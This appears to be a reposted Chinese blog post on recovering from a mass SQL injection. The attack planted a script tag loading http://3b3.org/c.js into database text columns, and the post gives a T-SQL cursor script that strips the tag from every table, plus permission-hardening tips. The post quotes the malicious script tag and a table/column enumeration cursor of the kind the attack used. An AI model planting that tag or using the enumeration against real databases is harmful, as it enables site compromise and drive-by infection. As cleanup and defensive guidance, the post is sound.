实战http://3b3.org/c.js恶意SQL注入

 1 -- 进入SQL查询分析器 
 2 -- 选择你的数据库 
 3 -- 第一步:先sql表修改所有者为dbo 
 4 EXEC  sp_MSforeachtable  ' exec sp_changeobjectowner  '' ? '' '' dbo ''   '  
 5 -- 第二步:统一删除字段被挂的js 
 6 declare   @delStr   nvarchar ( 500
 7 set   @delStr =   ' <script src=http://3b3.org/c.js></script> '
 8
 9 set  nocount  on  
10
11 declare   @tableName   nvarchar ( 100 ), @columnName   nvarchar ( 100 ), @tbID   int , @iRow   int , @iResult   int  
12 declare   @sql   nvarchar ( 500
13
14 set   @iResult = 0  
15 declare  cur  cursor   for  
16 select  name,id  from  sysobjects  where  xtype =   ' U '  
17
18 open  cur 
19 fetch   next   from  cur  into   @tableName , @tbID  
20
21 while   @@fetch_status = 0  
22 begin  
23          declare  cur1  cursor   for  
24          -- xtype in (231,167,239,175,35) 为char,varchar,nchar,nvarchar,text类型 
25          select  name  from  syscolumns  where  xtype  in  ( 231 , 167 , 239 , 175 , 35 and  id = @tbID  
26          open  cur1 
27          fetch   next   from  cur1  into   @columnName  
28              while   @@fetch_status = 0  
29              begin  
30                  set   @sql =   ' update [ '   +   @tableName   +   ' ] set [ ' +   @columnName   +   ' ]= replace([ ' + @columnName +   ' ],  ''' + @delStr +   ''' '''' ) where [ ' + @columnName +   ' ] like  '' ' + @delStr +   ' % '''  
31                  exec  sp_executesql  @sql  
32                  set   @iRow = @@rowcount  
33                  set   @iResult = @iResult + @iRow
34                  if   @iRow >   0  
35                  begin  
36                  print   ' 表:  ' + @tableName +   ' ,列:  ' + @columnName +   ' 被更新  ' + convert ( varchar ( 10 ), @iRow ) +   ' 条记录;  '                 
37                  end  
38              fetch   next   from  cur1  into   @columnName     
39              end  
40          close  cur1 
41          deallocate  cur1 
42         
43          fetch   next   from  cur  into   @tableName , @tbID  
44 end  
45 print   ' 数据库共有  ' + convert ( varchar ( 10 ), @iResult ) +   ' 条记录被更新!!!  '  
46
47 close  cur 
48 deallocate  cur 
49 set  nocount  off
50
51 -- 彻底杜绝SQL注入 
52
53 -- 1.不要使用sa用户连接数据库 
54 -- 2、新建一个public权限数据库用户,并用这个用户访问数据库 
55 -- 3、[角色]去掉角色public对sysobjects与syscolumns对象的select访问权限 
56 -- 4、[用户]用户名称-> 右键-属性-权限-在sysobjects与syscolumns上面打“×” 
57 -- 5、通过以下代码检测(失败表示权限正确,如能显示出来则表明权限太高): 
58
59 DECLARE   @T   varchar ( 255 ), 
60 @C   varchar ( 255
61 DECLARE  Table_Cursor  CURSOR   FOR  
62 Select  a.name,b.name  from  sysobjects a,syscolumns b
63 where  a.id = b.id  and  a.xtype =   ' '   and  (b.xtype = 99   or  b.xtype = 35   or  b.xtype = 231   or  b.xtype = 167
64 OPEN  Table_Cursor 
65 FETCH   NEXT   FROM  Table_Cursor  INTO   @T , @C  
66 WHILE ( @@FETCH_STATUS = 0
67 BEGIN   print   @c + '          ' + @t
68 FETCH   NEXT   FROM  Table_Cursor  INTO   @T , @C  
69 END  
70 CLOSE  Table_Cursor 
71 DEALLOCATE  Table_Cursor
72

转载于:https://www.cnblogs.com/X-Jonney/archive/2009/07/02/1515756.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
把字符串型 http://baike.baidu.com/item/%E7%81%B5%E5%B3%B0/22666529,http://baike.baidu.com/item/%E7%81%B5%E5%B3%B0/22666269,http://baike.baidu.com/item/%E5%A4%A7%E9%BE%99%E6%B9%AB/85909,http://baike.baidu.com/item/%E9%9B%81%E8%8D%A1%E5%B1%B1/24132384,http://baike.baidu.com/view/1.htm,http://baike.baidu.com/item/%E5%A4%A7%E9%BE%99%E6%B9%AB/23583829,http://baike.baidu.com/view/4.htm,http://baike.baidu.com/item/%E9%9B%81%E8%8D%A1%E5%B1%B1/85904,http://baike.baidu.com/item/%E7%81%B5%E5%B3%B0/22666716,http://baike.baidu.com/item/%E7%81%B5%E5%B3%B0/57049628,http://baike.baidu.com/item/%E9%9B%81%E8%8D%A1%E5%B1%B1/49728219,http://baike.baidu.com/item/%E9%9B%81%E8%8D%A1%E5%B1%B1/24333588,http://baike.baidu.com/view/2.htm,http://baike.baidu.com/view/9.htm,http://baike.baidu.com/item/%E9%9B%81%E8%8D%A1%E5%B1%B1/24359580,http://baike.baidu.com/view/10.htm,http://baike.baidu.com/item/%E7%81%B5%E5%B3%B0/22666529,http://baike.baidu.com/item/%E7%81%B5%E5%B3%B0/22666269,http://baike.baidu.com/item/%E7%81%B5%E5%B3%B0/85906,http://baike.baidu.com/item/%E5%A4%A7%E9%BE%99%E6%B9%AB/85909,http://baike.baidu.com/item/%E9%9B%81%E8%8D%A1%E5%B1%B1/24132384,http://baike.baidu.com/item/%E5%A4%A7%E9%BE%99%E6%B9%AB/23583829,http://baike.baidu.com/view/4.htm,http://baike.baidu.com/item/%E9%9B%81%E8%8D%A1%E5%B1%B1/85904,http://baike.baidu.com/item/%E7%81%B5%E5%B3%B0/22666716,http://baike.baidu.com/item/%E7%81%B5%E5%B3%B0/57049628,http://baike.baidu.com/item/%E9%9B%81%E8%8D%A1%E5%B1%B1/49728219,http://baike.baidu.com/item/%E9%9B%81%E8%8D%A1%E5%B1%B1/24333588,http://baike.baidu.com/view/2.htm,http://baike.baidu.com/view/9.htm,http://baike.baidu.com/item/%E9%9B%81%E8%8D%A1%E5%B1%B1/24359580,http://baike.baidu.com/view/10.htm 用逗号分隔,再去重后遍历
最新发布
06-09
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值